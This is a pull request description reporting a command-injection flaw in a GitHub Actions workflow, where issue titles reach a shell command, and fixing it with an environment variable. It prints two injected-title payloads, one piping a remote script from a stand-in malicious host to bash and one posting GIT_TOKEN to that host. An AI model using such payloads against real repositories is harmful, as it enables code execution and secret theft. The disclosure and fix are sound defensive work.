Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Description
new_issues.yml is vulnerable to RCE via command injection in issue title.
Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc:
A simple example of a malicious payload in the issue title can be: Security"; curl https://malicious-site.com/malicious-script.sh | bash # This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.
Similarly, to exfiltrate environment variables, a sample payload in the issues title can be: Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/` This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.
What does this PR do?
This PR makes the necessary changes to the file to ensure this issue is remediated.
To ensure proper sanitization of user inputs, it is best to avoid using them as placeholders directly in the script. This PR therefore passes it as an environment variable, by storing the issue title into an environment variable called TITLE and passing it as an argument into the script, hence mitigating the RCE.
Types of changes